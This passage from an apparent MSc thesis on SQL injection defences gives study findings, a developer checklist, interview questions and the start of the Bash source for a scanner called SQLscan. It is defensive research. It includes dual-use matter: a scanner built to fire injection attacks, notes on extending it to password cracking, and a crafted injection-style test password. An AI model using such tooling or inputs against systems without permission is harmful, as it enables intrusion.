the attacker that SQL Injection is possible.  Carefully crafted requests, designed to alter the 
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contents of this dynamically created message can then be used to enumerate schema information, 
facilitating a successful attack on the application or its underlying system.  The SQL Injection 
process is far more difficult when this information is not displayed, as blind SQL Injection 
techniques must then be employed. 
As the suppression of such messages has been an established best security practice for 
many years, it was surprising to see that almost 29% of the approaches, analyzed during the 
study, exposed this vulnerability.  Equally applicable across all platforms, this high percentage 
could be indicative of a significant proportion of Web sites, globally, having the same flaw.  
Further study would be required to confirm whether this is indeed the case. 
 
Unquoted Numeric Fields. 
Encapsulating numeric values in quotes is counterintuitive and contradicts the training of 
most software developers, who are expected, by most programming languages, to differentiate 
between numeric and string values by only quoting strings.  The exception to this rule is when 
building dynamic SQL statements, as numeric values must be quoted to protect against the 
successful injection of additional SQL by malicious users.  It is, therefore, to be expected that 
developers will occasionally fall back into old habits when writing SQL, neglecting to quote 
numeric values.  While, in many cases, an error such as this would probably be noticed and 
rectified by the author at a later point in time, this is not guaranteed.  This particular flaw was 
present in two (28%) of the seven approaches encountered during this study, illustrating that 
those responsible for performing code reviews and application testing should remain vigilant for 
this particular oversight, as it could crop up at any time.  The ease with which this vulnerability 
can be inadvertently introduced into the system, coupled with the failure of vulnerable code to 
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raise compile-time or runtime warnings, make a strong case for the use of a vulnerability scanner 
after everyone modification to database driven systems. 
 
PHP Magic Quotes. 
Magic Quotes, the name given to PHP's ability to automatically escape all CGI data 
received by the script, has been a feature of PHP since version 4, released in 2000, but was 
officially deprecated as of version 5.3.0, released on June 30, 2009.  It is widely expected that 
support for Magic Quotes will be completely removed from PHP by version 6, for which, at the 
time of writing, there is no known release date.  It was discovered during the study that some 
systems still rely on this feature to secure their input against first-order SQL injection attacks.  A 
better understanding of the extent of this reliance, worldwide, would require further study, 
however it is reasonable to assume that since 28% of the encountered approaches made use of 
this feature, many more such systems exist throughout the Internet.   
All systems are still immune to first-order SQL Injection, even those running on systems 
using the latest version of PHP, provided that their underlying PHP configurations enable the 
now-deprecated feature.  However, the move by PHP to discontinue this feature means that many 
newer PHP configurations will disable this feature in advance of its ultimate lack of support in 
version 6.  The consequence of this move for legacy systems is potentially disastrous.  Unless 
modified, such systems will be completely unprotected from SQL Injection attacks as the 
applications begin to receive un-escaped input.  Reliance on Magic Quotes does not necessarily 
involve the use of any specific Magic Quote-related commands, which could prompt a rewrite by 
raising a warning that this feature is no longer being applied.  Adding to the problem, many 
mature applications suppress all warning and error messages for security reasons, meaning that 
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many of the applications which could raise such warnings will also give no indication that they 
are now vulnerable when support for this feature is discontinued.  This development may be 
responsible for a sharp rise in the number of successful SQL Injection attacks over the next few 
years. 
 
Stored Procedures. 
Even though the approaches using stored procedures, encountered during this study, were 
secure, interviews with their developers confirmed that insecure coding practices occasionally 
appear within stored procedures.  Usually introduced by less experienced developers, insecure 
practices, such as the creation of dynamic statements using the EXEC command along with 
parameter values, can cause the stored procedure’s intrinsic protection against SQL Injection to 
be nullified, making them as vulnerable to SQL Injection as poorly written in-line queries.  This 
illustrates that vigilance and the education of all developers in secure coding practices are 
essential components of any organisation's security strategy, even if secure coding templates, 
such as sample stored procedures, have been adopted. 
 
Common traits of successful approaches. 
It is evident from the number of approaches encountered and their effectiveness, when 
used correctly, that there is no single approach to securing user input for database driven 
systems.  The variety of platforms and server configurations, each supporting differing database 
connectivity capabilities, means that no approach can be singled out as the means by which SQL 
injection can be prevented in every case.  While there is no silver bullet, the security conscious 
developer is nonetheless equipped with an arsenal of techniques, with which to secure database 
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access.  This study shows that secure implementations essentially follow two golden rules of 
security: 
1. Escape all database input using prepared statements, stored procedures, or vendor-
specific escaping mechanisms. 
2. Suppress database output, such as warning and error messages. 
The number of insecure implementations, discovered during the study, illustrates how 
often the above golden rules are not followed completely, and that their effectiveness can be 
diluted because of programmer error.  The volume of such errors can perhaps be in part 
explained by a high degree of complacency, exhibited by each of the interviewees because the 
techniques they employ are known to prevent SQL injection.  This complacency could foster less 
vigilant testing, which, when coupled with the low uptake of automated vulnerability scanners 
among those interviewed, may explain the undetected security issues present in many of the 
studied approaches.  The number of such issues would undoubtedly be reduced significantly with 
the introduction of routine, targeted vulnerability scanning, such as that offered by SQLscan, 
following all code modifications.  
 
Identifying additional root causes. 
Although the number of developers interviewed during this study was small, an insight 
was nonetheless gained on contemporary attitudes and approaches towards the threat of SQL 
Injection.  Common flaws in these approaches were identified, highlighting the root causes 
which may be responsible for the bulk of remaining and future SQL injection vulnerabilities, 
worldwide.  Although further study would be required to confirm such a theory, the findings of 
this study provide a hypothesis from which such a study could begin.   
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Online application security checklist. 
The identification, during the analysis phase of the study, of SQL injection root causes 
and common coding mistakes, has allowed a short online application security checklist to be 
compiled.  The checklist is intended to be referenced by developers prior to launching new or 
modified applications to ensure that the system is not inadvertently vulnerable to SQL injection 
and consists of the following five tasks: 
1. Confirm that all numeric SQL values are wrapped in single quotes. 
2. Ensure all server errors and warnings are suppressed in the production system. 
3. Ensure all database generated errors and warnings are suppressed by the 
application. 
4. If using black- or white-lists, ensure they include a vendor-specific escaping 
mechanism. 
5. Use a SQL Injection vulnerability scanner to quickly detect any oversights. 
 
 Vulnerability scanner. 
The development of SQLscan introduces a customizable, powerful yet lightweight 
security utility, whose minimal dependencies mean that it can be quickly and easily installed on 
all flavors of Linux and UNIX.  Having several years experience as a Linux administrator and 
security professional, this researcher has yet to encounter another truly easy-to-install, 
lightweight, Linux-based vulnerability scanner.  Typically, Unix / Linux installations depend 
upon other libraries, frameworks, or utilities having been installed already.  This can turn a 
supposedly straightforward install process into an arduous, frustrating, and time-consuming task.  
Although update and package managers are common solutions to this problem, these are not 
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available in every environment and are normally not available to non-privileged users.  The 
creation of a small, configurable tool which has minimal dependencies and therefore installs 
quickly and easily on all flavours of Linux is a useful addition to the security professional’s 
arsenal as well as being of great value to application developers who prefer to use a non-
Windows environment as their development platform. 
Designed for interactive, scripted, or scheduled use, and requiring less than 200 KB of 
storage space, this small, portable, open source utility offers a rare degree of flexibility, control, 
and extensibility to the security professional, while also enabling a comprehensive input 
validation test to be carried out quickly and easily by non-expert users.  Currently limited to the 
detection of vulnerabilities in applications using underlying MySQL database engines and the 
execution of user-defined tests, the system anticipates future support for other popular database 
engines with functional but incomplete scanning rule definition files for Oracle and Microsoft 
SQL Server.  SQLscan is also easily extendable to support any number of additional databases 
through the creation of engine-specific scanning rules and identification strings.  Its brute-force 
and form-manipulation capabilities can be easily put to use for additional security-related tasks, 
such as dictionary-based password cracking and checking for additional security risks, such as 
cross site scripting or spam email vulnerabilities. 
 
Lessons Learned. 
The decision to begin interviewing developers eight weeks before the mandatory 
completion date was made at the project's outset.  The primary reason for this decision was to 
ensure the prevalence and validity of the gathered information.  By this time, preparations had 
been completed to facilitate the rapid emulation of all unique approaches to securing form- and 
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query string-based online applications.  These preparations included the creation of a template 
test application, detailed in Appendix E., and an underlying MySQL database on a Linux, 
Apache, MySQL, and PHP (LAMP) Web server, upon which SQLscan was installed.  The Web 
server used an older version of PHP, fully supporting Magic Quotes, which was expected to be 
required by some approaches.  Permission had been obtained to perform SQLscan's tests on the 
emulations and the server's Web intrusion detection system was configured to allow these 
seemingly malicious requests to reach those emulations.  During the interview phase, two 
approaches were encountered which use prepared statements as their core defense against SQL 
injection.  Upon attempting to emulate the first of these approaches on the test Web server, it was 
discovered that the required PHP extensions to support compared statements were missing from 
that server's configuration.  With insufficient time to source or build another Web server meeting 
the above criteria, it was reluctantly decided to forgo the development and automated testing of 
these two approaches, relying entirely on white box analysis.  It is recommended that future 
similar projects include the creation of a bespoke test Web environment, upon which to perform 
all vulnerability tests, and allow time for any system modifications, required to facilitate the 
emulation of newly discovered approaches.  Alternatively, multiple test environments could be 
used, allowing exact replications of each described approach, using similar operating systems, 
Web servers and database management systems to those used by the interviewees. 
This multifaceted project necessitated a number of deliverables:  
• the creation of a vulnerability scanning engine. 
•  the definition of comprehensive scanning rules and success indicators for generic 
databases and MySQL storage engines, using both HTTP ‘Get’ and ‘Post’ 
formats. 
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•  the conducting and subsequent analysis of interviews with professional Web 
developers concerning their security practices. 
• the emulation, scanning, and analysis of each described approach to common 
Web development tasks. 
While the scope of the project had been limited to accommodate the restrictive time constraints, 
imposed by its pre-set delivery date, its breadth nonetheless made its completion within the given 
timeframe difficult to achieve.  While the project was underway, it became clear that each of the 
above elements were deserving of study in isolation to achieve more comprehensive results. 
Having completed the study, it is the author's considered opinion that further study is warranted 
in each of the above areas.  In retrospect, a more focused project, concentrating on one of the 
above elements, may have been better suited to the constraints under which the project was 
conducted, rather than the chosen inclusive approach, which, although more interesting, was 
somewhat restricted, in terms of depth, by its split focus. 
 
Project Analysis. 
Gauging the success of the project. 
It is clear from the discussion of the project's research questions within the conclusions 
section, above, that each has been answered satisfactorily; however, before passing judgment on 
the success of the project, the achievement of its goals and the quality of its examination of the 
original hypothesis must also be considered.  
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Project goals.  
Apart from the requirement to answer all identified research questions, discussed above, 
ten additional project goals were also defined at the outset.  These additional project goals were 
as follows: 
1. Develop an easy to install, small, cross-platform, configurable, extensible, brute-
force, form manipulation command line tool. 
2. Develop a set of tests to detect vulnerabilities. 
3. Develop simulations of known countermeasures / approaches. 
4. Prove the effectiveness of the vulnerability scanner. 
5. Gauge the level of understanding of the threat of SQL Injection 
6. Discover whether novel, clever countermeasures are used. 
7. Categorize & assess the encountered approaches to security for effectiveness. 
8. Identify any common failings and their fixes.  
9. Determine a list of steps required to ensure adequately secure online applications. 
10. Estimate whether the threat of SQL Injection is in decline, as generally believed. 
 
The achievement of the first nine of the above goals is clearly evident from preceding 
discussions within this chapter; however it is impossible to determine, from the results of this 
study, whether the threat of SQL Injection is actually on the decline.  As discussed above, there 
is some evidence to suggest that even though awareness of the threat has grown, the number of 
fully secure applications may be lower than generally expected.  The potential for an increase in 
vulnerabilities, caused by the deprecation of the Magic Quotes feature in PHP, was also 
highlighted.  Although unable to fulfil goal number ten, above, conclusively, the findings of this 
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study suggest that the threat of SQL Injection may be diminishing at a slower rate than assumed 
by many within the internet community. 
 
Project hypothesis and results. 
The original hypothesis, which led to the undertaking of this project, stated that while 
awareness of the threat of SQL injection is growing, insufficient countermeasures are as of yet 
being employed by developers because of their incomplete understanding of the nature and scale 
of the threat and that, as a result of this, most websites are more vulnerable to SQL injection than 
their developers believe them to be.  This study showed that all of the interviewed developers 
employed SQL Injection countermeasures, indicating that awareness of the threat has indeed 
grown.  56% of the approaches described by these developers used ineffective or outmoded 
countermeasures, and 71% of interviewees demonstrated a poor or incomplete understanding of 
the nature of the threat.  However, all of those interviewed initially believed that the systems they 
produced were fully secure, even though only 28% used automated scanning tools of any kind to 
confirm this belief, further illustrating the validity of the above hypothesis. 
 
Determining the overall success of the project. 
Having produced all anticipated deliverables, achieved almost all project goals, and 
proven all aspects of the original hypothesis for the subset of developers, considered within the 
study this project can only be considered to have been a success.  Because of limitations in 
scope, many facets of this broad-ranging project are deserving of further study, as outlined 
throughout this chapter. 
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Expectations and Actual Outcomes. 
When arranging interviews, it was expected that many developers would be reluctant to 
discuss their security practices because of the perceived risk to their company's or clients’ 
security.  Because of this, it was decided to conduct anonymous interviews and to create 
emulations of each approach, hosted on a test server, for use during the analysis phase.  A report 
on any weaknesses within the given approach was also offered to each developer to 
counterbalance the inherent risk in revealing the inner workings of closed code to a non-
employee with the promise of a more secure end product.  As planned, these precautionary 
measures allayed the fears of the security conscious developers, approached to take part in the 
study.  However, contrary to expectation, fewer than 30% of those approached fell into this 
category.  For all others, these measures were helpful in obtaining agreement to partake in an 
interview for slightly different reasons than expected.  These developers approved of the 
anonymity afforded to them in the study because it avoided any tarnishing of their organization's 
reputation, rather than from any sensitivity to their organization's or clients’ security needs.  
Having immediately agreed to an interview, the offered report on any discovered weaknesses 
was of interest from a desire to learn more about the subject and to improve as developers, rather 
than being regarded as the additional advantage to turn their participation into an overall security 
benefit instead of a security risk. 
As expected, a diverse range of methods were described as the means of fulfilling 
common security-related programming tasks, most of which were admitted in a PHP/MySQL 
environment.  This environment, most unexpectedly, was unable to support one of the described 
database access methods, prepared statements, which were used by 28% of the encountered 
approaches.  The bespoke vulnerability scanner, however, performed exactly as anticipated, 
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accurately identifying many security issues with the analyzed approach emulations.  As predicted 
within the hypothesis, outlined above, the findings of the study showed that many online 
applications were less secure than their developers believed them to be. 
 
Limitations of the study. 
Despite the obvious usefulness of its deliverables, necessary limitations in the scope of 
this project have impacted on both the quality of its resultant vulnerability scanner and the 
applicability of the project's findings, as outlined below: 
While extremely effective, SQLscan contains a complete set of attack definitions for the 
MySQL database only, lacking the comprehensive tests for Microsoft SQL Server and Oracle 
database implementations, originally envisaged when the utility was conceived.  While this had 
no effect on the scanner's effectiveness within this study, which used MySQL as the underlying 
database in all approach emulations, the incomplete state of the software detracts from the 
overall contribution of this project to the Web development community.  The split focus of this 
study; between the development of the vulnerability scanner and the discovery, emulation, and 
analysis of unique approaches to Web application security; also adversely impacted the level of 
functionality it was possible to provide within this first version of the scanning software.  A 
satisfactory level of core functionality was nonetheless delivered, with the resultant software 
consistently out-performing the off-the-shelf product, chosen to corroborate its efficacy.   
The findings outlined in this document may be indicative of global patterns, however 
they cannot be considered as such because the small sample of developers, included within the 
study, may represent a deviation from global norms.  A significantly larger number of Web 
developers would need to be interviewed before any findings could be safely considered to 
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reflect current trends in Ireland, and these would need to be added to the results of similar studies 
in other countries before any statements on the global threat from SQL Injection could be made 
with confidence.  Even so, it is assumed that the approaches discovered during this study are 
duplicated many hundreds of times internationally and these findings are therefore of value to the 
Web development community. 
 
Future Research.  
As postulated throughout this chapter, many aspects of this project are believed to be 
deserving of further study to afford them greater attention or scale than was possible during this 
study.  Each of these aspects is discussed briefly, below, with respect to their potential additional 
study or development: 
 
Vulnerability Scanner. 
The comparative rarity of SQL Injection security tools for the Linux environment, when 
compared with windows-based systems, combined with SQLscan's, flexibility, scriptability, and 
impressive performance, contribute to the scanner's usefulness as a security tool; however, many 
improvements could be made to this first version.  As mentioned previously, the system should 
be extended to support all common database platforms.  This would involve the creation of new 
success indicators and possibly additional generic tests to assist in the identification of those 
database engines early in the scan.  New attack definitions would also be required to exploit the 
idiosyncrasies and unique features of each additional database platform.  Extra attack definition 
files could be developed to extend the scanning engine's capabilities, exploiting its brute force 
properties to discover cross site scripting or unsolicited mail (spam) vulnerabilities in online 
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applications.  Dictionary based password cracking could also be enabled with the creation of new 
attack files and some modifications to the scanner's source code.  Also, the complexity of attack 
definition files could be reduced by the addition of automated URL-and hex-encoding 
functionality for plaintext attack definitions.  All of the existing and potential functionality of the 
vulnerability scanner would be complemented by the creation of an additional graphical user 
interface, to improve the system's usability.  A further improvement on system usability would 
be to modify system responses, upon discovery of a vulnerability, to include instructions on how 
to resolve each reported problem. 
 
Scale of the Investigation. 
The limited number of developers, interviewed during this investigation, means that any 
patterns or statistics, discovered during the analysis of described approaches to security, cannot 
be considered to be indicative of developers in general.  There is clear scope to build on this 
study's findings by focusing on a significantly larger number of developers’ security practices, 
correlating a more comprehensive collection of contemporary SQL injection countermeasures, 
with which to approximate the current threat of this vulnerability. 
 
Approach Emulation. 
The practice of emulating each unique approach in a PHP/MySQL environment could 
possibly impact on the accuracy of the study, as subtle behaviors of other Web server or database 
environments may not be completely replicated.  For this reason, future studies of this kind 
would benefit from the creation of approach replicas in the server environment for which they 
were originally designed.  This approach would also allow for comparative analysis of various 
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Web server, database vendor, operating system, and server configuration combinations to be 
performed, in contrast to the algorithm-only comparisons within this study, potentially producing 
interesting and unexpected results. 
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Appendix A – Project Plan 
The tasks in this project can be divided into three broad categories, which reflect, for the 
most part, the order in which project activities were carried out: 
1. The development of the custom vulnerability scanner. 
2. The discovery, emulation, and subsequent analysis of each unique approach to 
common Web development tasks. 
3. The creation of an academic body of work.  
Full advantage was taken of the eight-week break between the course’s first- and second-
year taught modules to research and develop the Bash-based vulnerability scanning engine.  This 
work was complemented by the identification of attack definitions and success indication strings, 
midway through the following academic year.  The application of these control structures to the 
engine's raw scanning capabilities defined the behavioral characteristics and usefulness of this 
new security tool, which was used during the comparative analysis of each known approach to 
common Web development tasks:  the creation of online, database-driven, interactive content 
delivery solutions and user authentication systems.  Individual approaches were identified 
through anonymous interviews with selected developers of high-profile Web sites, conducted in 
early-July, 2010.   
Rather than risking the availability of any live implementations, simulations of each 
approach were first created in a PHP/MySQL environment to facilitate the safe, automated 
testing for vulnerabilities.  The development of these simulations and their subsequent 
vulnerability testing occurred in the two weeks immediately following the information discovery 
and analysis phase. 
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Figure A.1 – Gantt chart, detailing major project tasks. 
The majority of academic writing tasks were performed in the final seven weeks of the 
project.  This activity also began following the information discovery and analysis phase, which 
was scheduled late in the project to prevent the finalized document from depicting out-of-date 
information as contemporary thinking within the industry. 
The project progressed as planned, with no significant deviation, in terms of the number or 
nature of project tasks, from those originally anticipated during the planning phase.  The overall 
workload, however, more than filled the remaining term time once the time requirements for 
remaining taught modules were factored into the project plan.  The scope of the project had already 
been scaled back to bring the overall project size closer to that of a thesis, submitted as partial 
fulfilment of a taught MSc program.  Any further reductions in scope would have affected the 
project’s ability to achieve all identified goals, all of which were believed by the author to be 
indispensable.  Because of this, it was instead decided to apply an optimistic schedule to all identified 
tasks, in spite of the increased risk to overall project success. 
Strict adherence to planned deadlines is essential to the delivery of any project within its 
allotted time frame.  This is especially true as the number and complexity of tasks rises, increasing 
the likelihood of an unexpected delay at some point.  The ambitious number of project deliverables 
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of varying complexity, coupled with an end-of-term deadline for the delivery of a completed study, 
meant that normal project management contingency measures, such as introducing a slippage buffer 
when sizing each individual task, were not possible in this case.  Although there were occasional 
minor deviations from the delivery dates specified in figure A.1, above, project slippage never 
increased beyond a small number of days.  In all cases, such slippages were quickly rectified 
following completion of the delayed task, bringing project activity back in line with the planned 
schedule.   
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Appendix B - Guideline Interview Questions 
About the interviews 
The principal objectives of the interview are to gauge the level of awareness and 
understanding, demonstrated by the interviewee, of the threat of injection; identify each 
interviewee’s attitude towards the threat, with respect their own systems; and understand the 
coding style of each interviewee to facilitate the emulation of their coding techniques for 
performance tests. 
It is hoped that individuals’ attitudes towards the threat and any common misconceptions 
will also come to light during the course of each interview as they may prove relevant during 
analysis.  Before interviews begin, each interviewee will be informed that the purpose of the 
interview is to emulate their coding techniques to facilitate comparative performance tests. 
Interviewees will also be made aware, at the outset, that this is an anonymous interview and the 
implications thereof.  The security-focused nature of the following questions will not become 
evident to the interviewee until approximately midway through the interview. 
The order of questions has been carefully considered, allowing the more security 
conscious interviewees to bring up the subject of security themselves.  How early this occurs will 
provide an indication of the level of importance each interviewee (and by extension, their 
organisation) attributes to security.  The second half of the interview is comprised of explicitly 
security related questions, allowing this researcher to gather as much pertinent information as 
possible from those who do not offer it spontaneously. 
 
Guideline questions 
1. What server-side languages do you use for developing Web applications? 
2. Do you use an underlying database for your Web applications? 
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a. Which ones? 
b. Is the database on the same server as the Web site? 
3. Have you ever coded a database-fed system using inputs from the querystring (e.g. 
news/events details page)? 
4. Have you ever coded a database-fed system using form-based inputs (e.g. search page)? 
5. Do you use inline SQL, stored procedures, or both? 
a. When and why do you use stored procedures? 
6. How do you build the SQL command, using the supplied data? 
a. What happens if the user types in something that would break the SQL code (e.g. 
the apostrophe in O’Brien)? 
i. Does an error message show? 
1. What does the message typically say? 
2. Does that message contain the SQL engine’s error message? 
3. Is this message visible in the live system? 
b. Do you remove / change any other characters? 
i. Which ones? 
ii. In what order? 
c. If the system expects a number, do you make sure that it is a number before 
building the SQL command? 
d. Do you limit the length of the input (e.g. would 
news.asp?id=999999999999999999 work?) 
e. Where does this activity happen (client side, server-side, or both)? 
7. Have you ever coded a password-protected area? 
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a. What approach did you take? 
b. Do you store the passwords in the database? 
c. Are they encrypted in the database? 
d. What error message do you give when login fails? 
e. Do you validate form input on the client-side (JavaScript), server-side 
(ASP/PHP/CF/JSP), or both? 
f. How big are your username / password fields? 
i. Are these truncated server-side? 
g. Do you limit the number of login attempts? 
8. If I browsed to your news page and wanted to see article number 100, what SQL would 
be produced? 
9. If I tried to log into your login section with the user ID ‘evan’ and the 12-character 
password  
*-%7-Gr\-- d, what would the resulting SQL be? 
10. What is the biggest threat to your web site? 
11. What is the biggest security threat to your website? 
12. On a scale of 1 (very insecure) to 10 (very secure), where would you rate your web sites? 
13. What are input validation attacks? 
 
14. Have you ever heard of Cross Site Scripting? 
a. What is it? 
b. Does it pose a risk for your website(s)?  
c. What countermeasures do you use? 
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d. If an attacker tried to attack your site using XSS, would they succeed? 
15. Have you ever heard of SQL Injection? 
a. What is it? 
b. Does it pose a risk for your website(s)? 
c. How much damage can be caused in a vulnerable system? 
d. What countermeasures do you use? 
i. Character field 
ii. Numeric field 
e. If an attacker tried to hack your site using SQL Injection, would they succeed? 
f. How many characters would you need to, say, bypass a login form with SQLI? 
16. Do you use an IDS? 
17. Do you use a WebIDS? 
a. Is it reacting to activity or just logging suspicious activity? 
b. How often do you look at the logs? 
18. What is the difference between an IDS and WebIDS? 
19. Do you scan for SQL injection vulnerabilities? 
a. What software do you use? 
b. How often you scan? 
c. Would you trust lightweight software which only used 20 tests? 
d. Are you concerned about the performance impact? 
20. If not, why not? 
a. Are you concerned about the performance impact of a full crawl / security audit? 
b. Would the time such a call would take be a factor? 
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21. How likely are your sites to be targeted by malicious users? 
22. Does your company have a security policy 
a. Can you explain it to me? 
b. Does your company enforce this policy? 
i. How? 
23. Are security audits performed on your code? 
a. If a free lightweight scanner was available, would you use it during testing? 
24. Do you audit 3rd party code, hosted on your system? 
a. How? 
b. How often? 
c. Would a schedulable, lightweight vulnerability scanner be a good idea? 
25. Have you ever heard of a penetration test? 
26. Have you ever performed a penetration test? 
27. On a scale of 1 (very insecure) to 10 (very secure), where would you rate your web sites 
now? 
28. I will be emulating the coding techniques you have described in my own PHP/MySQL 
environment.  If I require confirmation on how you would approach a certain task, do I 
have your permission to contact you? 
29. Would you like to receive the results of the security audit that I will carry out on my 
simulation, along with information on how to fix each problem? 
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Appendix C – Vulnerability Scanner Source Code & Pseudo-code 
 
 
       SQLscan - Source Code 
 
    1 #!/usr/bin/env bash 
 
 
    2 set +x 
 
 
    3 # 
    4 # Copyright (C) 2009 Evan Ryder. 
    5 # This file is part of SQLscan. SQLscan is free software: you can  
      redistribute it and/or modify 
    6 # it under the terms of the GNU General Public License as published  
      by 
    7 # the Free Software Foundation, either version 3 of the License, or 
    8 # (at your option) any later version. 
    9 # 
   10 # SQLscan is distributed in the hope that it will be useful, 
   11 # but WITHOUT ANY WARRANTY; without even the implied warranty of 
   12 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
   13 # GNU General Public License for more details. 
   14 # 
   15 # You should have received a copy of the GNU General Public License 
   16 # along with SQLscan (in the file 'COPYING)'.  If not, see  
      <http://www.gnu.org/licenses/>. 
   17 # 
   18 # GLOBAL VARIABLES 
   19 DEBUG=0 
   20 INSTALL_DIR=${0%%sqlscan} 
 
 
   21 CONF_FILE="${INSTALL_DIR}conf/sqlscan.conf" 
 
   22 CONTINUE=1  # SET TO ZERO AT ANY POINT TO STOP SCANNING 
 
SQLscan – Pseudo-Code 
 
Use /usr/bin/env to locate bash on the path (to 
aid portability). 
Turn off BASH’s debugging features (do not echo 
each expanded command before execution). 
 
 
Embed Copyright and licensing information. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Define global variables: 
Turn DEBUG mode off. 
Set INSTALL_DIR to everything typed before 
‘sqlscan’ on the command line. 
Set CONF_FILE by appending ‘conf/sqlscan.conf’ to 
INSTALL_DIR. 
Set the Boolean variables CONTINUE and INJECTABLE 
to true. 
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   23 INJECTABLE=0  # BOOLEAN VARIABLE TO INDICATE WHETHER THIS SYSTEM IS  
      INJECTABLE. SET TO TRUE IF ANY ATTACK WORKS 
   24 PROGRESS=('|' '/' '-' '\') 
 
   25 CNT=0 
   26 USERDEFINEDWARNINGDISPLAYED="false" 
 
   27 FILENAME="" 
   28 QUERYSTRING="" 
   29 ATTACK_QUERYSTRING="" 
   30 ATTACK_FIELD="" 
   31 #Global worker variables: 
   32 matches=0 
 
 
 
 
 
   33 #Variables that can be modified via the command line: 
   34 ATTACK_FILE="" 
   35 IDENTIFY_ONLY=0 
   36 SQLENGINE="Unknown"   
   37 SUCCESS_INDICATOR="" 
   38 METHOD="post"  #method is post unless you specify -g 
   39 UIDFIELD=""  
   40 PWDFIELD=""  
   41 TARGET="" 
   42 VERBOSE=0 
   43 QUIET=0 
   44  
   45 function version () 
   46 { 
   47   echo "" 
   48   echo "SQLscan - Input Validation and SQL Injection vulnerabilitiy  
      scanner for Web forms and querystring-driven systems." 
   49   echo "Version: 1.0 - Copyright (C) 2009 Evan Ryder." 
   50   echo "" 
   51   cat <<\EOF 
   52 SQLscan is free software: you can redistribute it and/or modify 
 
 
Define the values in the PROGRESS array for use by 
the progress indicator. 
Initialize the CNT variable. 
Set the flag ‘USERDEFINEDWARNINGDISPLAYED’ to 
false. 
Initialize work variables to hold the attack 
definition file name, querystring, modified 
querystring (to carry out an attack), the field to 
use when attacking over the  querystring, and the 
number of times a success indicator is  discovered 
in the server’s response to each attack. 
Initialize all variables to hold command line 
inputs. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Display licencing and copyright information. 
version() 
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   53 it under the terms of the GNU General Public License as published by 
   54 the Free Software Foundation, either version 3 of the License, or 
   55 (at your option) any later version. 
   56  
   57 SQLscan is distributed in the hope that it will be useful, 
   58 but WITHOUT ANY WARRANTY; without even the implied warranty of 
   59 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
   60 GNU General Public License for more details. 
   61  
   62 You should have received a copy of the GNU General Public License 
   63 along with SQLscan (in the file 'COPYING)'. 
   64 If not, see <http://www.gnu.org/licenses/>. 
   65  
   66 EOF 
   67   exit 0 
   68 } 
   69  
   70  
   71 function usage () 
   72 { 
   73   echo "" 
   74   echo      
      “***************************************************************** 
      ***********************************" 
   75   echo "" 
   76   echo "SQLscan - Scans Web site login forms and querystring-based  
      systems for SQL Injection and other," 
   77   echo "          related, input validation vulnerabilities." 
   78   echo "" 
   79   echo "Syntax: sqlscan [options] [URL]" 
   80   echo "" 
   81   echo "  Options:" 
   82   echo "  -------" 
   83   echo "  -f mydefs.dat Use this attack definition file only. Attack  
       definitionss are stored in ${INSTALL_DIR}conf/*.dat" 
   84   echo "                Omitting this switch results in all relevant  
      attack definition files being used." 
   85   echo "  -g            Perform a querystring-based SQL Injection  
      scan." 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Exit with no error code. 
 
 
 
Display the command’s syntax and explain all 
optional switches, along with examples. 
usage() 
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   86   echo "  -G variable   Perform a querystring-based SQL Injection  
      scan, placing attacks within the specified" 
   87   echo "                variable (useful when multiple variables are  
      defined in the querystring)." 
   88   echo "  -h            Displays this help text." 
   89   echo "  -i            Identify the SQL engine only." 
   90   echo "  -p pwdfield   Use 'pwdfield' as the form field to contain  
      the password." 
   91   echo "  -P post_to    When performing a form-based SQL Injection  
      scan, post the attacks to 'post_to'." 
   92   echo "                Omit this option to use the value in the  
      form being scanned (specified by URL)." 
   93   echo "  -q            Quiet - display nothing on the screen." 
   94   echo "  -s searchStr  Assume a successful login has been achieved  
      if searchStr is found within the" 
   95   echo "                resulting HTML after performing an attack." 
   96   echo "  -u uidfield   Use 'uidfield' as the form field to contain  
      the username." 
   97   echo "  -v            Verbose output." 
   98   echo "  -V            Display version and licencing information  
      and exit." 
   99   echo "" 
  100   echo "Examples:" 
  101   echo "--------" 
  102   echo " Display version and licensing information:" 
  103   echo "  ./sqlscan -V" 
  104   echo "" 
  105   echo " Interactive scan of a login form:" 
  106   echo "  ./sqlscan" 
  107   echo "  ./sqlscan https://www.mysite.com/login.php" 
  108   echo "" 
  109   echo " Non-interactive scan of a querystring-based, database  
      driven Web page:" 
  110   echo "  ./sqlscan -g http://www.mysite.com/news?id=365" 
  111   echo "  ./sqlscan -G id -s \"You have logged in\"  
       http://www.mysite.com/viewArticle?id=1044&format=XML&showLinks=1" 
  112   echo "" 
  113   echo " Non-interactive scan of a login form (for use within  
      scripts):" 
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  114   echo "  ./sqlscan -u uid -p pwd -v  
      http://www.mysite.com/login.asp" 
  115   echo "" 
  116   echo                      
"************************************************************************* 
      ****************************" 
  117   exit 1 
  118 } 
  119  
  120  
  121 function log () 
  122 { 
  123   # Logs the supplied text to the log file and optionally outputs  
      the text to the stdout. 
  124   # Inputs: text [verbose] 
  125   echo $1 >> "${INSTALL_DIR}${logfile}" 
 
  126   if [ "$QUIET" = "0" -a \( "$2" = "true" -o "$VERBOSE" = "1" \) ];  
      then 
 
  127     echo "$1” 
 
  128   fi 
  129 } 
  130  
  131 function getFormFields () 
  132 { 
  133   # getFields - Downloads the file in the global variable $URL and  
      facilitates the selection of the username and password fields 
       within it. 
  134   #    Also plucks out the form's action and places it in the global  
      variable $TARGET. 
  135   TEMPFORM="${INSTALL_DIR}temp/loginform.html" 
  136   if [ $DEBUG -eq  1 ]; then 
  137     log "DEBUG: Downloading $URL to $TEMPFORM" true 
  138   fi 
  139   $pathToLynx -source $URL > $TEMPFORM  
 
  140    
 
 
 
 
 
 
Exit with the error code 1. 
 
 
 
 
log(message, displayOnScreen) 
 
 
 
Append the message to the log file. 
If ‘quiet’ mode has not been invoked: 
  If displayOnScreen is set to    
  true, or ‘verbose’ mode has  
  been invoked: 
    Display the logged message  
    on the screen. 
End If 
 
 
 
getFormFields() 
 
 
 
 
 
Specify the location of the temporary html file. 
If DEBUG mode is on 
  Log the action 
End If 
Use lynx to download the specified Web form’s HTML 
source into a file called ‘loginform.html’ in 
SQLscan’s ‘temp’ directory. 
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  141   if [ -z "$UIDFIELD" ]; then 
 
  142     PS3='Username Field? ' 
 
  143     echo "Below are all form fields in this Web page - Please select  
